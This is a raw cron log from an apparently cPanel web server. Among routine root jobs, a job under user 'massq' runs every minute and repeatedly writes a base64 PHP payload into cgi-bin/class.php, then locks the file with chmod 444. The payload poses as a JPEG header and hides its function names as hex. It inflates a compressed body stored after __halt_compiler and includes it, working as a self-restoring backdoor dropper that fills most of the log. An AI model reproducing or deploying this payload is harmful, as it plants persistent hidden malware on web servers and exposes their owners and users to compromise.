Nov 10 07:26:01 server CROND[22516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:27:01 server CROND[23327]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 07:27:01 server CROND[23328]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:28:01 server CROND[24136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:29:01 server CROND[24706]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:30:01 server CROND[25434]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:30:01 server CROND[25435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:30:01 server CROND[25437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:30:01 server CROND[25436]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 07:31:01 server CROND[26412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:32:01 server CROND[27212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:33:01 server CROND[27996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:34:01 server CROND[28772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:35:01 server CROND[29611]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:35:01 server CROND[29619]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 07:35:01 server CROND[29620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 07:35:01 server CROND[29626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:35:01 server CROND[29621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:36:01 server CROND[30488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:37:01 server CROND[31430]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:38:02 server CROND[32364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
